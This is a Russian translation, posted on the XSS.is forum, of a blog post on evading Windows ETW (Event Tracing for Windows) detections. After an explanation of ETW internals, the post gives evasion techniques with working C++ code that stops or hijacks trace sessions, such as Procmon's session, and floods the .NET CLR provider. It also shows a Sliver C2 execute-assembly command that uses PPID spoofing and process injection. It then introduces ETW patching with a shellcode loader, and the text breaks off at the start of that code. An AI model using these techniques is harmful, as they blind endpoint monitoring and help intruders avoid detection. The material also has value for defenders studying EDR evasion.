Уклонение от обнаружений на основе трассировки событий для Windows (ETW)

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Источник: https://s4dbrd.com/evading-etw-based-detections/
Перевод: BLUA специально для XSS.is

# Введение

В этом посте мы рассмотрим трассировку событий для Windows ETW и изучим различные методы уклонения, используемые для обхода обнаружений, основанных на этом механизме отслеживания и сбора событий Windows.

# Но что же такое ETW?


Трассировка событий для Windows (ETW) предоставляет механизм для отслеживания и регистрации событий, которые вызываются приложениями в пользовательском режиме и драйверами в режиме ядра.
Нажмите, чтобы раскрыть...
Документация Microsoft

Введенная в Windows 2000, ETW была разработана для решения проблем, вызванных растущей сложностью операционной системы Windows. Она предоставляет мощную инфраструктуру для регистрации событий, позволяя получить детальное представление о производительности и поведении системы.

Эти трассировки могут быть записаны в файл и/или в сеанс в реальном времени.

# Зачем была создана ETW

В более ранних версиях Windows, таких как NT4, было сложно диагностировать проблемы с производительностью и понимать поведение системы из-за ограниченной видимости происходящего внутри системы. ETW была разработана для устранения этого недостатка, предлагая высокопроизводительное решение для трассировки с низкими накладными расходами, которое может обрабатывать тысячи событий в секунду без значительного влияния на производительность системы.

# Ключевые особенности ETW

1. Низкие накладные расходы и высокая производительность:
- ETW разработан для обеспечения эффективности, гарантируя, что даже при большом объеме событий влияние на производительность системы будет незначительным.

2. Богатая семантика и схема:
- ETW предоставляет не только числовые данные; оно включает в себя подробные свойства и типы событий, предлагая более богатый набор данных для анализа.
- События в ETW сопровождаются схемой, которая определяет структуру и типы данных, которые они содержат, что упрощает интерпретацию событий.

3. Системное покрытие:
- ETW не ограничивается конкретными процессами; он захватывает события со всей системы, обеспечивая всесторонний обзор активности системы.
- Этот системный подход имеет решающее значение для диагностики проблем, которые могут охватывать несколько процессов или компонентов системы.

# Основные компоненты ETW

Существует четыре основных компонента, задействованных в ETW на основе документации Microsoft:
- Provider
- Session
- Controller
- Consumer

Каждый из этих компонентов выполняет определенную роль в сеансах трассировки событий.
etw.png



# Providers

Provider — это компонент, предназначенный для генерации событий. Им может быть пользовательское приложение, драйвер в режиме ядра или само ядро Windows. События включают фиксированные данные (заголовок) и могут также содержать пользовательские данные.

Событие представляет собой данные в формате, основанном на событиях, которые могут быть использованы для детального анализа. События также могут генерировать счетчики, предоставляющие выборочный обзор данных, таких как байты ввода-вывода в секунду и прерывания в секунду, чтобы показать текущее состояние. Например, если приложение обрабатывает аутентификацию пользователей, оно может генерировать событие каждый раз, когда аутентификация не удается.

Поставщики должны зарегистрироваться в ETW и отправлять события, используя API ведения журнала ETW. Они регистрируют функцию обратного вызова для уведомлений о включении и отключении, что позволяет динамически включать и выключать трассировку.

Чтобы перечислить всех доступных в системе поставщиков, вы можете использовать следующую команду:
Код: Скопировать в буфер обмена
logman query providers
2024-06-27_05_24_03.png



# Session

Инфраструктура сеансов ETW действует как посредник, который передает события от одного или нескольких поставщиков потребителю. Сеанс представляет собой объект ядра, который собирает события в буфер ядра, а затем пересылает их в указанный файл или процесс потребителя в реальном времени. К одному сеансу могут быть подключены несколько поставщиков, что позволяет пользователям собирать данные из нескольких источников.
Код: Скопировать в буфер обмена
logman query -ets
2024-06-27_05_58_55.png



# Controllers

Контроллеры — это компоненты, которые определяют и управляют сеансами трассировки, записывающими события, создаваемые поставщиками, и доставляющими их потребителям событий. Обязанности контроллера включают, помимо прочего, следующие задачи:
- Запуск и остановка сеансов
- Включение или отключение поставщиков, связанных с сеансом
- Управление размером пула буферов событий
Одно приложение может содержать как код контроллера, так и код потребителя; альтернативно, контроллер может быть полностью отдельным приложением, таким как утилита logman.

Контроллеры создают сеансы трассировки с помощью API sechost!StartTrace() и настраивают их с помощью sechost!ControlTrace(), advapi!EnableTraceEx() или sechost!EnableTraceEx2().

# Consumers

Потребители — это программные компоненты, которые получают события после того, как они были записаны сеансом трассировки. Они могут либо читать события из лог-файла на диске, либо потреблять их в реальном времени. Поскольку почти каждый агент EDR является потребителем в реальном времени, мы сосредоточимся исключительно на них. Потребители используют `sechost!OpenTrace()` для подключения к сеансу в реальном времени и `sechost!ProcessTrace()` для начала потребления событий из него. Каждый раз, когда потребитель получает новое событие, внутренне определенная функция обратного вызова анализирует данные события на основе информации, предоставленной поставщиком, такой как манифест события. Затем потребитель может выбрать, что делать с этой информацией. В случае программного обеспечения для обеспечения безопасности конечных точек это может включать создание предупреждения, принятие превентивных мер или корреляцию активности с телеметрией, собранной другим сенсором.
Нажмите, чтобы раскрыть...
Уклонение от EDR - Matt Hand
# ETW на уровне ядра

Вы можете спросить: "Как ядро реализует ETW?"

Если нет, я всё равно объясню.

Maldev Academy дает хорошее объяснение этого, но я хотел углубиться и изучить все функции ядра, которые вызывают ETW, объяснив, что их запускает.

В основном, образ ядра (ntoskrnl.exe) является основным исполняемым файлом операционной системы Windows, который содержит уровни ядра и исполнительного слоя. Если мы откроем этот образ в IDA, мы сможем увидеть функции, которые в конечном итоге вызывают ETW. Например, функция MiReadWriteVirtualMemory вызывает EtwTiLogReadWriteVm, которая регистрирует операции чтения и записи.
2024-06-28_03_51_22.png



Следуя потоку функций, мы наблюдаем вызов EtwTiLogReadWriteVm.
2024-06-28_03_26_26.png



При фильтрации функций, используемых ntoskrnl.exe, были выявлены следующие функции, связанные с ETW.
2024-06-28_03_23_36.png



Эти наблюдения дают нам представление о том, что может записываться в систему. Для каждой функции (мы будем называть эти функции "сенсорами") будет проведено детальное исследование, чтобы определить, какие функции ядра в конечном итоге вызывают её и какие события служат их триггерами.

Следует отметить, что это объяснение причин срабатывания этих сенсоров может быть неверным; оно основано только на документации, предоставленной Microsoft, визуализации каждой функции в IDA и их соответствующих вызовах функций. Если вы обнаружите какую-либо ошибку, не стесняйтесь сообщить мне.
Нажмите, чтобы раскрыть...

- EtwTiLogInsertQueueUserApc: Эта функция вызывается IopfCompleteRequest и KeInsertQueueApc.
- Функция KeInsertQueueApc отвечает за вставку объекта APC (асинхронный вызов процедуры) в очередь APC потока. APC позволяют функции выполняться асинхронно в контексте конкретного потока. Когда пользовательский APC вставляется в очередь, это событие затем регистрируется сенсором EtwTiLogInsertQueueUserApc.

- EtwTimLogBlockNonCetBinaries: Эта функция вызывается PsBlockNonCetBinaries, которая, в свою очередь, вызывается MiAllowImageMap.
- Функция MiAllowImageMap позволяет отображать исполняемые образы в память. В рамках обеспечения безопасности PsBlockNonCetBinaries проверяет, соответствуют ли исполняемые бинарные файлы стандартам CET (Control-Flow Enforcement Technology). Если бинарный файл не соответствует требованиям CET, он блокируется, и EtwTimLogBlockNonCetBinaries регистрирует это событие. Этот сенсор помогает отслеживать и аудировать соблюдение политик CET, фиксируя попытки выполнения несоответствующих бинарных файлов.

- EtwTimLogControlProtectionUserModeReturnMismatch: Эта функция вызывается KiLogControlProtectionUserModeReturnMismatch, которая, в свою очередь, вызывается KiProcessControlProtection.
- Функция KiProcessControlProtection обеспечивает целостность управления потоком, проверяя настройки защиты управления при переходе между режимом ядра и пользовательским режимом. Если при возврате в пользовательский режим обнаруживается несоответствие этих настроек, это указывает на возможную попытку эксплуатации уязвимости. KiLogControlProtectionUserModeReturnMismatch регистрирует это событие, фиксируя детали несоответствия, которые затем записываются сенсором EtwTimLogControlProtectionUserModeReturnMismatch. Это помогает выявлять и анализировать проблемы с целостностью управления потоком.

- EtwTimLogProhibitFsctlSystemCalls: Эта функция вызывается IopXxxControlFile, которая, в свою очередь, вызывается таким количеством функций:
- NtDeviceIoControlFile
- PfpVolumePrefetchMetadata
- PfpPrefetchDirectoryStream
- PfpPrefetchEntireDirectory
- PfpSnPrefetchFileMetadata
- NtFsControlFile
- PfSnPrefetchFileMetadata
- Эти функции обрабатывают различные операции управления файловой системой через коды FSCTL (File System Control). Функция IopXxxControlFile обрабатывает эти управляющие коды и, если определенные системные вызовы запрещены, активирует сенсор EtwTimLogProhibitFsctlSystemCalls для регистрации события.

- EtwTimLogRedirectionTrustPolicy: Эта функция вызывается IoCheckRedirectionTrustLevel:
- Функция IoCheckRedirectionTrustLevel проверяет уровень доверия для перенаправления файлов, чтобы убедиться, что они соответствуют политикам безопасности. Если перенаправление не соответствует требуемому уровню доверия, EtwTimLogRedirectionTrustPolicy регистрирует это событие.

- EtwTimLogUserCetSetContextIpValidationFailure: Эта функция вызывается KiLogUserCetSetContextIpValidationFailureWorker, на которую ссылается (lea) KiLogUserCetSetContextIpValidationFailure, которая, в свою очередь, вызывается KsVerifyContextIpForUser.
- Функция KsVerifyContextIpForUser проверяет контекст указателя команд (rip) для CET в пользовательском режиме, чтобы предотвратить перехват управления потоком. Если проверка не проходит, вызывается KiLogUserCetSetContextIpValidationFailure. Сенсор фиксирует детали сбоев валидации контекста IP для CET в пользовательском режиме.

- EtwTiLogDeviceObjectLoadUnload: Эта функция вызывается IoCreateDevice и IoDeleteDevice.
- Функция IoCreateDevice создает объекты устройств, которые драйверы используют для представления аппаратных и программных компонентов. Напротив, IoDeleteDevice удаляет эти объекты устройств. Когда объект устройства создается или выгружается, EtwTiLogDeviceObjectLoadUnload регистрирует это событие.

- EtwTiLogSetContextThread: Эта функция вызывается PspWow64SetContextThread и PspSetContextThreadInternal.
- Эти функции устанавливают контекст для потоков, либо в подсистеме WOW64 (Windows-on-Windows 64-bit), либо внутренне в системе. Контекст потока включает регистры ЦП и другую информацию о состоянии. Когда контекст потока устанавливается, `EtwTiLogSetContextThread` регистрирует это событие.

- EtwTiLogReadWriteVm: Эта функция вызывается MiReadWriteVirtualMemory.
- MiReadWriteVirtualMemory обрабатывает чтение и запись в виртуальную память процесса. Когда происходят эти операции с памятью, EtwTiLogReadWriteVm регистрирует события.

- EtwTiLogProtectExecVm: Эта функция вызывается NtProtectVirtualMemory.
- Функция NtProtectVirtualMemory изменяет настройки защиты области виртуальной памяти. Когда изменяются настройки защиты для исполняемой виртуальной памяти, EtwTiLogProtectExecVm регистрирует событие.

- EtwTiLogMapExecView: Эта функция вызывается NtMapViewOfSection и MiMapViewOfSectionExCommon.
- Эти функции отображают представление секции файла или объекта, отображаемого в память, в виртуальное адресное пространство процесса. Когда отображается исполняемое представление, EtwTiLogMapExecView регистрирует событие. Этот сенсор фиксирует детали отображения исполняемых представлений, помогая отслеживать использование памяти и обеспечивать соблюдение политик безопасности, связанных с отображением памяти.

- EtwTimLogProhibitChildProcessCreation: Эта функция вызывается SeSubProcessToken, которая, в свою очередь, вызывается PspInitializeProcessSecurity.
- Функция PspInitializeProcessSecurity инициализирует настройки безопасности для новых процессов. Если создание дочернего процесса запрещено на основе этих политик безопасности, SeSubProcessToken вызывает EtwTimLogProhibitChildProcessCreation для регистрации события.

- EtwTiLogDriverObjectUnLoad: Эта функция вызывается IopUnloadDriver и IoDeleteDriver.
- Функция IopUnloadDriver выгружает драйверы, а IoDeleteDriver удаляет объекты драйверов. Когда объект драйвера выгружается или удаляется, EtwTiLogDriverObjectUnLoad регистрирует событие.

- EtwTiLogSuspendResumeProcess: Эта функция вызывается PsThawProcess, PsFreezeProcess, PsResumeProcess и PsSuspendProcess.
- Эти функции обрабатывают приостановку и возобновление процессов.

- EtwTiLogSuspendResumeThread: Эта функция вызывается PsResumeThread и PsSuspendThread.
- Эти функции обрабатывают приостановку и возобновление потоков.

- EtwTimLogProhibitDynamicCode: Эта функция вызывается MiArbitraryCodeBlocked, которая, в свою очередь, вызывается следующими функциями:
- MiAllowProtectionChange
- Эта функция позволяет изменять атрибуты защиты области памяти. Если попытка изменения включает включение разрешений на выполнение для кода, который считается произвольным или небезопасным, MiArbitraryCodeBlocked вмешается и заблокирует действие, после чего вызовет EtwTimLogProhibitDynamicCode для регистрации события.
- MiReserveUserMemory
- Эта функция отображает представление секции изображения в виртуальное адресное пространство процесса. Если секция изображения содержит код, который динамически генерируется или изменяется таким образом, что нарушает политики безопасности, MiArbitraryCodeBlocked заблокирует отображение, а EtwTimLogProhibitDynamicCode зарегистрирует событие.
- MiMapViewOfSection
- Эта функция отображает представление секции в виртуальное адресное пространство процесса. Аналогично MiMapViewOfImageSection, если секция включает динамический или произвольный код, который не соответствует политикам безопасности, MiArbitraryCodeBlocked заблокирует отображение, вызвав EtwTimLogProhibitDynamicCode для регистрации события.

- EtwTimLogProhibitLowILImageMap: Эта функция вызывается MiAllowImageMap, которая, в свою очередь, вызывается MiMapViewOfImageSection.
- Функция MiAllowImageMap позволяет отображать исполняемые образы в память. Если отображаемый образ имеет низкий уровень целостности (IL) и не разрешен политиками безопасности, EtwTimLogProhibitLowILImageMap регистрирует событие.

- EtwTimLogProhibitNonMicrosoftBinaries: Эта функция вызывается MiValidateSectionSigningPolicy, которая, в свою очередь, вызывается MiValidateExistingImage и MiCreateNewSection.
- Функция MiValidateSectionSigningPolicy проверяет политику цифровой подписи исполняемых секций. Если бинарный файл не принадлежит Microsoft и не соответствует требуемой политике подписи, его выполнение запрещается. EtwTimLogProhibitNonMicrosoftBinaries регистрирует эти события.

- EtwTimLogProhibitWin32kSystemCalls: Эта функция вызывается PsConvertToGuiThread, которая, в свою очередь, вызывается KiConvertToGuiThread, которая, в свою очередь, вызывается KiSystemCall64.
- Функция KiSystemCall64 обрабатывает системные вызовы от 64-битных приложений, включая преобразование потоков в GUI-потоки с использованием KiConvertToGuiThread и PsConvertToGuiThread. Если системные вызовы Win32k запрещены на основе политик безопасности, EtwTimLogProhibitWin32kSystemCalls регистрирует это событие.

Не знаю, заметил ли кто-то, читающий этот пост (или знал это раньше), но названия этих датчиков почти идентичны, за исключением одной детали. Некоторые начинаются с EtwTi, а некоторые с EtwTim. Разница заключается в следующем:
- EtwTi : Это датчики Microsoft-Windows-Threat-Intelligence.
- EtwTim : Это датчики Microsoft-Windows-Security-Mitigations.

table.png


Давайте создадим графическое представление этого!
IDA_Diagram.drawio.png



Провайдер Microsoft-Windows-Threat-Intelligence-Sensors является провайдером ETW на основе манифеста, который генерирует события, связанные с безопасностью. Уникальность провайдера TI заключается в постоянных обновлениях от Microsoft, направленных на улучшение информации о таких операциях, которые обычно требуют сложной инженерии (например, перехват функций) на уровне ядра.

С другой стороны, провайдер Microsoft-Windows-Security-Mitigations-Sensors сосредоточен на мониторинге и отчетности о мерах по смягчению последствий угроз безопасности, применяемых операционной системой. Он фиксирует события, связанные с мерами по предотвращению эксплуатации уязвимостей, такими как предотвращение выполнения данных (DEP), рандомизация расположения адресного пространства (ASLR) и другие функции безопасности, предназначенные для предотвращения распространенных векторов атак. В отличие от провайдера TI, который углубляется в детализированные операции безопасности, провайдер Security-Mitigations-Sensors больше озабочен применением и эффективностью этих встроенных мер безопасности.

Для получения дополнительной информации прочитайте этот замечательный пост Джонатана Джонсона, где он объясняет это более подробно.

# Пусть начнется веселье!

Теперь, когда мы лучше понимаем, как работает ETW, мы перейдем к демонстрации некоторых техник обхода, чтобы предотвратить мониторинг наших действий различными ранее упомянутыми сенсорами. Мы начнем с самых "простых" вариантов и дойдем до самых сложных.

Для дальнейшей демонстрации атак, которые могут быть выполнены на ETW, пожалуйста, посмотрите этот доклад, представленный Игорем Коркиным и Клаудиу Теодореску на Blackhat 2021, он потрясающий.

## Вмешательство, как будто завтра не наступит.

Первая техника, которую мы продемонстрируем, включает вмешательство в работу провайдеров ETW. Предотвращая их сбор журналов событий, мы можем эффективно отключить их способность обнаруживать действия. Соответственно, любое антивирусное или EDR-решение, которое полагается исключительно на ETW для получения метрик, станет неэффективным (если такая ситуация существует, на что я надеюсь, что нет).

Поскольку мне было скучно и я хотел глубже изучить API ETW (почему я это сделал, это ужасно), была создана программа на C++, которая инициирует сеанс трассировки и подключается к конкретному провайдеру ETW, в данном случае это был Microsoft-Windows-Kernel-Process. Программа предназначена для захвата и отображения определенных событий, генерируемых этим провайдером, фильтруя их, чтобы сосредоточиться на наиболее релевантных: идентификаторы событий 1, 2, 3, 4, 5 и 6.

Провайдер Microsoft-Windows-Kernel-Process играет важную роль в мониторинге активности процессов и потоков в операционной системе Windows. Вот детали захваченных событий:
1. Запуск процесса (Идентификатор события 1): Это событие возникает при создании нового процесса. Оно предоставляет информацию, такую как идентификатор процесса, время создания, идентификатор родительского процесса, идентификатор сеанса и имя образа процесса.
2. Остановка процесса (Идентификатор события 2): Это событие происходит при завершении процесса. Оно включает такие детали, как идентификатор процесса, время создания, время завершения, код завершения, тип повышения токена, количество дескрипторов, объём выделенной памяти, пиковый объём выделенной памяти и имя образа.
3. Запуск потока (Идентификатор события 3): Это событие генерируется при создании нового потока в процессе. Оно фиксирует информацию об идентификаторе процесса, идентификаторе потока, базовом адресе стека, пределе стека, базовом адресе пользовательского стека, пределе пользовательского стека, начальном адресе, начальном адресе Win32 и базовом адресе блока среды потока (TEB).
4. Остановка потока (Идентификатор события 4): Это событие происходит при завершении потока. Аналогично событию запуска потока, оно включает такие детали, как идентификатор процесса, идентификатор потока, базовый адрес стека, предел стека, базовый адрес пользовательского стека, предел пользовательского стека, начальный адрес, начальный адрес Win32 и базовый адрес блока среды потока (TEB).
5. Загрузка изображения (Идентификатор события 5): Это событие вызывается при загрузке изображения (такого как DLL или EXE) в процесс. Оно предоставляет информацию о базовом адресе изображения, размере изображения, идентификаторе процесса, контрольной сумме изображения, временной метке, базовом адресе по умолчанию и имени изображения.
6. Выгрузка изображения (Идентификатор события 6): Это событие происходит при выгрузке изображения из процесса. Оно включает такие детали, как базовый адрес изображения, размер изображения, идентификатор процесса, контрольная сумма изображения, временная метка, базовый адрес по умолчанию и имя изображения.

Код можно получить на моем GitHub.

Как следует из названия этого раздела, мы изменим сессию трассировки, созданную кодом, и остановим её, чтобы предотвратить получение дальнейших событий от провайдера. Возможно, это не самый элегантный метод, но он работает.

Это очень просто. Нам нужно всего лишь выполнить следующую команду:
Код: Скопировать в буфер обмена
logman.exe stop "Trace Name" -ets
2024-06-29_20_24_02.png



## Перехват сессии Procmon
В этом случае мы попытаемся перехватить сессию ProcMon, чтобы остановить её от чтения событий. По умолчанию Process Monitor создаёт сессию под названием "PROCMON TRACE". Вы можете перечислить эту сессию, используя ту же команду, упомянутую выше, после запуска Process Monitor в режиме захвата.
Код: Скопировать в буфер обмена
logman query -ets
2024-06-30_02_29_39.png



Была предпринята попытка перечислить провайдеров, используемых этой сессией. Однако вывод не дал никаких результатов:
Код: Скопировать в буфер обмена
logman query "PROCMON TRACE" -ets
2024-06-30_03_05_50.png



Чтобы решить эту проблему, мы создали программу на C++, которая перечисляет сессию и получает GUID провайдеров, на которые она подписана. Код достаточно простой, поэтому я не думаю, что нужно загружать его на GitHub.
Код: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <evntrace.h>
#include <tdh.h>
#include <iostream>
#include <vector>
#include <string>
#include <iomanip>

#pragma comment(lib, "tdh.lib")
#pragma comment(lib, "advapi32.lib")

void EnumerateProvidersForSession(const std::wstring& sessionName) {
    TRACEHANDLE sessionHandle = 0;
    ULONG bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + (sessionName.size() + 1) * sizeof(wchar_t);
    EVENT_TRACE_PROPERTIES* sessionProperties = (EVENT_TRACE_PROPERTIES*)malloc(bufferSize);
    ZeroMemory(sessionProperties, bufferSize);

    sessionProperties->Wnode.BufferSize = bufferSize;
    sessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

    ULONG status = ControlTraceW(sessionHandle, sessionName.c_str(), sessionProperties, EVENT_TRACE_CONTROL_QUERY);

    if (status != ERROR_SUCCESS) {
        if (status == ERROR_WMI_INSTANCE_NOT_FOUND) {
            std::wcerr << L"Session not found: " << sessionName << std::endl;
        } else {
            std::wcerr << L"Failed to query trace session: " << status << std::endl;
        }
        free(sessionProperties);
        return;
    }

    std::wcout << L"Providers for session: " << sessionName << std::endl;

    ULONG providerInfoBufferSize = 0;
    status = TdhEnumerateProviders(nullptr, &providerInfoBufferSize);
    if (status != ERROR_INSUFFICIENT_BUFFER) {
        std::wcerr << L"Failed to query buffer size for providers: " << status << std::endl;
        free(sessionProperties);
        return;
    }

    std::vector<BYTE> buffer(providerInfoBufferSize);
    status = TdhEnumerateProviders(reinterpret_cast<PROVIDER_ENUMERATION_INFO*>(buffer.data()), &providerInfoBufferSize);
    if (status != ERROR_SUCCESS) {
        std::wcerr << L"Failed to enumerate providers: " << status << std::endl;
        free(sessionProperties);
        return;
    }

    auto providerInfos = reinterpret_cast<PROVIDER_ENUMERATION_INFO*>(buffer.data());
    for (ULONG i = 0; i < providerInfos->NumberOfProviders; ++i) {
        auto& provider = providerInfos->TraceProviderInfoArray[i];
        std::wcout << L"  Provider GUID: "
            << std::hex << std::setw(8) << std::setfill(L'0') << provider.ProviderGuid.Data1 << L"-"
            << std::setw(4) << provider.ProviderGuid.Data2 << L"-"
            << std::setw(4) << provider.ProviderGuid.Data3 << L"-";
        for (int j = 0; j < 2; ++j) {
            std::wcout << std::setw(2) << static_cast<int>(provider.ProviderGuid.Data4[j]);
        }
        std::wcout << L"-";
        for (int j = 2; j < 8; ++j) {
            std::wcout << std::setw(2) << static_cast<int>(provider.ProviderGuid.Data4[j]);
        }
        std::wcout << std::dec << std::endl;
    }

    free(sessionProperties);
}

int wmain(int argc, wchar_t* argv[]) {
    if (argc != 2) {
        std::wcerr << L"Usage: " << argv[0] << L" <session_name>" << std::endl;
        return 1;
    }

    std::wstring sessionName = argv[1];
    EnumerateProvidersForSession(sessionName);
    return 0;
}

Мы получили в общей сложности 1104 GUID.
2024-06-30_02_49_30.png



Изначально я думал, что ProcMon полностью полагается на ETW для захвата всех своих событий. Однако оказалось, что сессия "PROCMON TRACE" в основном используется для захвата сетевого трафика. Это открытие значительно упрощает мой подход, так как изначально я планировал более сложный метод перехвата всех ETW событий от ProcMon. Затем я решил выполнить поиск в Google (я знаю, что должен был сделать это раньше, но теперь уже слишком поздно). Кажется, что предшественники Process Monitor, Filemon и Regmon, каждый загружал свои соответствующие драйверы, Filevxd.vxd и Regvxd.vxd. Поскольку Process Monitor заменил эти два инструмента, мы искали драйверы, загружаемые Process Monitor, и смогли идентифицировать (PROCMON24.SYS), который он использует для получения этой телеметрии.

Вот полный код, который проверяет, существует ли сессия "PROCMON TRACE" во время выполнения. Если сессия не существует, он создаст новую, чтобы помешать нормальной работе сессии ProcMon. В результате ProcMon не сможет захватывать никакой сетевой трафик.
Код: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <evntrace.h>
#include <evntcons.h>
#include <iostream>
#include <string>

TRACEHANDLE sessionHandle = 0;
HANDLE currentThreadId = 0;
std::wstring sessionName = L"PROCMON TRACE";

void StartETWSession() {
    EVENT_TRACE_PROPERTIES* properties = (EVENT_TRACE_PROPERTIES*)malloc(sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    ZeroMemory(properties, sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    properties->Wnode.BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024;
    properties->Wnode.ClientContext = 1; // QPC clock resolution
    properties->Wnode.Flags = WNODE_FLAG_TRACED_GUID;
    properties->LogFileMode = EVENT_TRACE_REAL_TIME_MODE;
    properties->MaximumFileSize = 0; // No file size limit
    properties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);
    properties->LogFileNameOffset = 0;

    ULONG status = StartTrace(&sessionHandle, sessionName.c_str(), properties);
    if (status == ERROR_SUCCESS) {
        std::wcout << L"ETW session 'PROCMON TRACE' created successfully." << std::endl;
    }
    else {
        std::wcerr << L"Failed to create session: " << status << std::endl;
    }

    free(properties);
}

void StopETWSession() {
    EVENT_TRACE_PROPERTIES* properties = (EVENT_TRACE_PROPERTIES*)malloc(sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    ZeroMemory(properties, sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    properties->Wnode.BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024;

    ULONG status = ControlTrace(NULL, sessionName.c_str(), properties, EVENT_TRACE_CONTROL_STOP);
    if (status == ERROR_SUCCESS) {
        std::wcout << L"[+] ETW session 'PROCMON TRACE' stopped." << std::endl;
    }
    else {
        std::wcerr << L"[!] Failed to stop session: " << status << std::endl;
    }

    free(properties);
}

void PrintSessionInfo() {
    EVENT_TRACE_PROPERTIES* properties = (EVENT_TRACE_PROPERTIES*)malloc(sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    ZeroMemory(properties, sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024);
    properties->Wnode.BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(TCHAR) * 1024;
    properties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES);

    ULONG status = ControlTrace(sessionHandle, nullptr, properties, EVENT_TRACE_CONTROL_QUERY);
    if (status == ERROR_SUCCESS) {
        HANDLE threadId = (HANDLE)properties->LoggerThreadId;
        std::wcout << L"\t[-] Logger Thread ID: " << threadId << std::endl;
        currentThreadId = threadId;
    }
    else if (status == ERROR_WMI_INSTANCE_NOT_FOUND) {
        std::wcout << L"ETW session not found, restarting..." << std::endl;
        StopETWSession();
        StartETWSession();
        PrintSessionInfo();
    }
    else {
        std::wcerr << L"Failed to get session information: " << status << std::endl;
    }

    free(properties);
}

int main() {
    StopETWSession();
    StartETWSession();
    PrintSessionInfo();
    while (true) {
        HANDLE previousThreadId = currentThreadId;
        PrintSessionInfo();

        Sleep(1000);
    }
    return 0;
}

## POC

poc.gif



## Наводнение событий

Следующий подход включает в себя наводнение событий для провайдера .NET CLR, как объясняется в этом посте. Для тестирования мы будем использовать команду execute-assembly из Sliver C2.

Процесс создания профиля стейджера и его обфускации не будет объяснен здесь, так как это выходит за рамки данного поста. По сути, это зашифрованный профиль стейджера, показанный в документации Sliver.
2024-06-30_09_15_06.png



Как только у нас будет маяк, мы запустим execute-assembly следующим образом:
Код: Скопировать в буфер обмена
execute-assembly --ppid 4632 --process notepad.exe --loot --name seatbelt /opt/tools/Seatbelt.exe -group=All
- `--ppid 4632` : Specifies the parent process ID (PPID) to spoof, making it appear as though the command is being run by the process with ID 4632 (explorer.exe, previously obtained by running ps).
- `--process notepad.exe`: Указывает на то, что команда должна быть внедрена в процесс Notepad.
- `--loot`: Включает сбор трофеев, что позволяет собирать выходные файлы.
- `--name seatbelt`: Устанавливает имя для выполняемой сборки в логах и выводе.Если мы исследуем процесс Notepad с помощью

Если мы исследуем процесс Notepad с помощью Process Hacker, мы можем увидеть загруженные в процесс .NET сборки. Среди них мы можем легко идентифицировать загруженную сборку Seatbelt.
2024-06-30_09_52_06.png



Что произойдет, если мы перегрузим поставщика CLR перед выполнением команды execute-assembly? Давайте выясним.

Сначала нам нужно получить GUID поставщика CLR. Для этого мы будем использовать EtwExplorer от Павла Йосифовича.
2024-06-30_10_15_33.png


Код: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <evntprov.h>
#include <iostream>
#include <tchar.h>

void breakETW_Forever() {
    DWORD status = ERROR_SUCCESS;
    REGHANDLE RegistrationHandle = NULL;
    const GUID ProviderGuid = { 0x230d3ce1, 0xbccc, 0x124e, {0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4} }; //.NET Common Language Runtime

    std::cout << "Starting to register and unregister events continuously..." << std::endl;

    while (true) {
        int count = 0;

        while (count < 2048) {
            status = EventRegister(&ProviderGuid, NULL, NULL, &RegistrationHandle);
            if (status != ERROR_SUCCESS) {
                std::cerr << "EventRegister failed with error code " << status << ", continuing..." << std::endl;
            }
            else {
                EventUnregister(RegistrationHandle);
            }
            count++;
        }
    }
}

int main() {
    breakETW_Forever();
    return 0;
}

2024-06-30_13_22_17.png



Как видно на предыдущем скриншоте, этот подход также не сработал. Я предполагаю, что механизм буферизации ETW обеспечивает постоянную доступность данных, и Process Hacker, как потребитель ETW, может без проблем справляться с динамическими изменениями в регистрации поставщиков. Таким образом, даже при стресс-тесте с регистрацией и отменой регистрации поставщика CLR до 2048 раз для переполнения индексов, Process Hacker остается не затронутым в своей способности загружать CLR и получать доступ к подробным метаданным сборок .NET (если кто-то может меня поправить, пожалуйста, сделайте это, я хотел бы узнать больше о внутренностях Windows :)).

# Патч

Нашим окончательным подходом в этом конкретном посте будет пропатчивание самого ETW. Прежде чем продолжить, мы обсудим, что включает в себя пропатчивание поставщиков ETW и как мы можем этого добиться.

## Что означает пропатчивание?

Патчинг функции включает в себя изменение поведения конкретной функции в программе. Это можно сделать, чтобы заставить функцию завершиться с ошибкой, предоставить ей ложные данные или заставить ее немедленно вернуться. Цель состоит в том, чтобы изменить работу функции, что может быть полезно для отладки, тестирования или обхода определенных поведений.

Чтобы достичь этого в локальном процессе:
1. Загрузите исполняемый файл: Сначала вам нужно загрузить исполняемый файл (EXE или DLL), который содержит функцию, которую вы хотите изменить.
2. Получите указатель на функцию: Затем вам нужно получить указатель на конкретную функцию внутри загруженного исполняемого файла. Этот указатель действует как адрес, где код функции хранится в памяти.
3. Измените защиту памяти: После того как у вас есть указатель на функцию, необходимо изменить настройки защиты памяти в области, где находится функция. Этот шаг позволяет вам изменить код функции.
4. Измените функцию: Наконец, вы можете изменить код функции, чтобы изменить её поведение. Это может включать в себя её сбой, предоставление ложных данных или немедленный возврат.

## Patch ETW

Тот же метод можно применить к функциям, специфичным для ETW, таким как EtwEventWrite, EtwEventWriteFull или NtTraceEvent.

В этом случае я объединил зашифрованный загрузчик с процессом, который патчит ETW перед загрузкой, расшифровкой и выполнением шеллкода.

Код: Скопировать в буфер обмена
Код:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Diagnostics;
using System.Xml.Linq;

namespace Sliver_stager
{
    class Program
    {
